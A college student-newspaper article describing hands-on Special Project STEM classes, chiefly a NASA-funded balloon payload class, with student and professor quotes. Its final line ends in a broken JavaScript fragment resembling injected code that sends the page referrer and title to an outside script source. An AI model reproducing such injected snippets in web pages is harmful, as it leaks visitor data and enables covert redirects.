CACs Special Project Classes

STEM classes for anyone with an interest and some time

Rebecca Christensen, Cactus Writer

Lately, if you peered into room S113 at SPC campus on a Friday morning, you would have seen a group of students focused on building little boxes full of wires and circuitry. However, this isn’t one of the typical engineering classes. Nor is it a physics, math, or chemistry class. This is a SCI198, a Special Project class funded by a NASA grant that was given to the school. Specifically, it is Special Project High Attitude Balloon Payload, a class where students work to research and apply what they learn in order to complete a final project. This isn’t the only Special Project class at CAC, and next semester, two more will be offered, Weeds to Wheels, and Stream Ecology.

In this SCI198 class, the project is a payload (a small box with sensors, circuit boards, and a lightweight camera) that the students have researched and designed themselves, from etching the circuit board, soldering the connections, and assembling the code required for the sensors to work as they’re supposed to. The payloads were attached, along with several other schools’ payloads, to one of two giant balloons that were launched on November 21st.

Even though what I described above may sound similar to a hum-drum science class: it truly wasn’t. The students in the class were laughing from a joke in one breath, and throwing an idea at their group members in the next. When I asked them about the class, they were very willing to talk about it, and all of them really enjoy the class.

“It’s a very good way of learning to work in a group. Learning to work with not only different kinds of people, but having to learn to do things you’ve never done before,” said pre engineering student Moriah. When I asked if she would recommend the class to other students, her response was “I already have.”

Nathaniel, also a pre-engineering student, enjoys the class as well. “It’s not like it’s super easy, there is a deadline you have to meet, and there is work to be done. But it is fun, and you learn a lot.”

There’s not quite a dozen students in the class, and they’re split into three teams; TEK, Strato Seekers, and Skyward Bound. Each team works together to build a payload, and even though the students are in separate teams, they still work together to help each other when there are problems to be solved. Elisabeth, from TEK, described it as “It’s not a competitive thing, when we figure something out, you know, it goes down the grapevine, and everybody else says ‘oh, that’s an easy way to do that!’”

A few of the ideas that Special Project classes revolve around are teamwork, learning by doing, and getting a taste of what STEM careers are about. This was a sentiment that echoed when I talked to the students and the professors. Something that Professor Janisko, the professor who is teaching High Altitude Balloon Payload this semester emphasized is that these classes are open to anybody who wants to sign up. They are not restricted to STEM students, or people who are proficient in engineering, circuitry, or programming (though knowledge of those subjects certainly would be beneficial). Many of the students I talked to didn’t know how to wire or design circuit boards, solder wires, or work with databases full of information before they took the class.

High Altitude Balloon Payload isn’t the only Special Project class at CAC, though it is the only one directly funded by NASA. The two other classes mentioned above are going to be offered next semester, and professors hope to add even more classes like Forensic Science, and Wildlife Ecology. One of the classes offered next semester, Weeds to Wheels, focuses on material sciences, and on the Guayule plant (pronounced why-oo-lee), a plant that provides an alternative for rubber. Stream ecology involves testing water quality, identifying aquatic insects, and studying a natural stream in Arizona. The class involves working with data, and analyzing it.

All of the Special Project classes are single credit classes, and unfortunately, you can’t take them to fulfill your science AGECS requirement. They do transfer, and the skills can be transferrable and useful in other fields and areas. As Professor Sullivan, one of the professors who will be teaching Stream Ecology says “even if [students] don’t end up in a biology or STEM field, the skills they learn will be transferrable at least in respect to writing reports and manipulating data in Excel.”

These are fun and interesting classes, and I encourage anyone who’s interested to go find out more and sign up for a class! If you are interested in one of the classes, speak with your advisor, or email [email protected] or [email protected] to find out more information.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;